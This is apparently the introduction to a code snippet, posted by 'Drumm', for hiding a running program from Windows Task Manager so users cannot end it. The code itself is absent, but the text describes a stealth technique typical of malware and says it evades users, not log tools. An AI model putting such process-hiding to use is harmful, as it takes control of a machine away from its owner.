Make a program hide itself from Task Manager

[Drumm]

If you for whatever reason decided maybe a user shouldn't end your program (because they don't want you to stop their er.. music right) you following code will help out. This code will NOT make you immune too HJT and other log generators, just too users checking their Task Manager. Also: Will only work on English versions of Winblows, if you would like to change it for other versions check line 49, You could duplicate line 49 but substitute "Windows Task Manager" for translated versions, and for each translation you will need to create a new if statement like the one between 63 and 101 substituting "Processes" and "SysListView32" for their translating correspondent.
